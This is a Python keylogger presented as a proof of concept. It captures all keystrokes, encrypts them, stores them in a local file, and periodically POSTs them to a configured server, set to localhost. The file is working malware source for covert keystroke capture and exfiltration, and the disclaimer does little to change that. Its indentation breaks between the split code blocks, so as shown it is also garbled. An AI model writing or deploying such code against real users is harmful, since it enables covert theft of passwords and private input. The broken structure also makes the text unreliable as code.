```
import pynput.keyboard
from cryptography.fernet import Fernet
import base64
import time
import requests
import threading
import os

# ---
# File: keylogger.py
# Objective: Proof-of-concept keylogger that captures keystrokes,
# encrypts them, and simulates exfiltration to a local server.
#
# !! FOR EDUCATIONAL AND ETHICAL PURPOSES ONLY !!
# !! Unauthorized use of keyloggers is illegal and unethical. !!
# ---

# --- Configuration ---
LOG_FILE = "keylog.enc"       # Local file to store encrypted logs
KEY_FILE = "key.key"          # File containing the encryption key
REMOTE_SERVER = "http://localhost:8000" # Server to simulate exfiltration
EXFILTRATION_INTERVAL = 30 # Time in seconds to send data to server
# ---------------------

class EncryptedKeylogger:
    def __init__(self, key, log_file, server_url, interval):
        self.key = key
        self.log_file = log_file
        self.server_url = server_url
        self.interval = interval
        self.log_buffer = ""
```

```
    self.listener = None
    self.stop_event = threading.Event()
    print("[+] Keylogger initialized. Starting listeners...")
    print("[!] This is a PoC for educational use. All input is being logged.")

def load_key(self):
    """Loads the Fernet key from the key file."""
    if not os.path.exists(self.key):
        print(f"[!] Key file '{self.key}' not found.")
        print("[!] Please run 'generate_key.py' first.")
        return None

    try:
        with open(self.key, "rb") as f:
            return f.read()
    except Exception as e:
        print(f"[!] Error loading key: {e}")
        return None

def encrypt_data(self, data):
    """Encrypts data using the loaded Fernet key."""
    try:
        f = Fernet(self.key)
        encrypted_data = f.encrypt(data.encode('utf-8'))
        # Use base64 encoding for safe transport (optional but good practice)
        return base64.urlsafe_b64encode(encrypted_data)
    except Exception as e:
        print(f"[!] Encryption error: {e}")
        return None

def append_to_log(self, data):
```

```
    """Appends encrypted data to the local log file."""
    encrypted_data = self.encrypt_data(data)
    if encrypted_data:
        try:
            with open(self.log_file, "ab") as f: # Append binary
                f.write(encrypted_data + b'\n')
        except Exception as e:
            print(f"[!] Error writing to log file: {e}")

def on_press(self, key):
    """Callback function for key press events."""
    try:
        # Handle special keys
        if key == pynput.keyboard.Key.space:
            key_stroke = " "
        elif key == pynput.keyboard.Key.enter:
            key_stroke = "[ENTER]\n"
        elif key == pynput.keyboard.Key.tab:
            key_stroke = "[TAB]"
        elif key in [pynput.keyboard.Key.shift, pynput.keyboard.Key.ctrl, pynput.keyboard.Key.alt]:
            key_stroke = "" # Ignore modifier keys on their own
        elif key == pynput.keyboard.Key.esc:
            key_stroke = "[ESC]"
            # Example of a simple "kill switch"
            # print("\n[!] ESC pressed. Shutting down keylogger...")
            # self.stop_event.set()
            # return False # Stops the listener
        else:
            # Handle regular character keys
            key_stroke = str(key.char)
```

```
        if key_stroke:
            self.log_buffer += key_stroke

    except AttributeError:
        # Handle other special keys (e.g., F1-F12, arrows)
        key_stroke = f"[{str(key).split('.')[-1].upper()}]"
        self.log_buffer += key_stroke
    except Exception as e:
        print(f"[!] Error processing key: {e}")

def simulate_exfiltration(self):
    """Periodically sends the log buffer to the remote server."""
    if self.stop_event.is_set():
        return # Stop if shutdown initiated

    if self.log_buffer:
        timestamp = time.strftime("%Y-%m-%d %H:%M:%S", time.gmtime())
        data_to_send = f"--- Log @ {timestamp} (UTC) ---\n{self.log_buffer}"

        print(f"\n[+] Simulating exfiltration of {len(self.log_buffer)} chars...")

        # 1. Store logs locally (as per mini-guide)
        self.append_to_log(data_to_send)

        # 2. Encrypt the data for sending
        encrypted_payload = self.encrypt_data(data_to_send)

        if encrypted_payload:
            try:
                # 3. Simulate sending to remote server
                response = requests.post(self.server_url, data=encrypted_payload, timeout=5)
```

```
            if response.status_code == 200:
                print("[+] Data successfully sent to remote server.")
                self.log_buffer = "" # Clear buffer on success
            else:
                print(f"[!] Server returned status {response.status_code}.")
        except requests.exceptions.RequestException as e:
            print(f"[!] Failed to connect to server: {e}")

    # Re-schedule the timer
    if not self.stop_event.is_set():
        threading.Timer(self.interval, self.simulate_exfiltration).start()
else:
    # No new data, just check again later
    if not self.stop_event.is_set():
        threading.Timer(self.interval, self.simulate_exfiltration).start()


def start(self):
    """Starts the keylogger and the exfiltration timer."""
    loaded_key = self.load_key()
    if not loaded_key:
        return

    self.key = loaded_key # Use the loaded key

    # Start the exfiltration timer thread
    threading.Timer(self.interval, self.simulate_exfiltration).start()

    # Start the keyboard listener in the main thread
    # This blocks until the listener stops (e.g., on ESC or error)
    with pynput.keyboard.Listener(on_press=self.on_press) as self.listener:
```

```
            self.listener.join()

        # Cleanup after listener stops
        print("\n[+] Keyboard listener stopped.")
        self.stop_event.set() # Signal all threads to stop
        # Send any remaining data before exiting
        print("[+] Sending final log buffer...")
        self.simulate_exfiltration()
        print("[+] Keylogger shutdown complete.")


if __name__ == "__main__":
    try:
        logger = EncryptedKeylogger(
            key=KEY_FILE,
            log_file=LOG_FILE,
            server_url=REMOTE_SERVER,
            interval=EXFILTRATION_INTERVAL
        )
        logger.start()
    except KeyboardInterrupt:
        print("\n[!] Manual shutdown (Ctrl+C).")
        # Note: This might not be caught if pynput is blocking.
        # A more robust kill switch (like the ESC example) is better.
    except Exception as e:
        print(f"\n[!] An unexpected error occurred: {e}")
```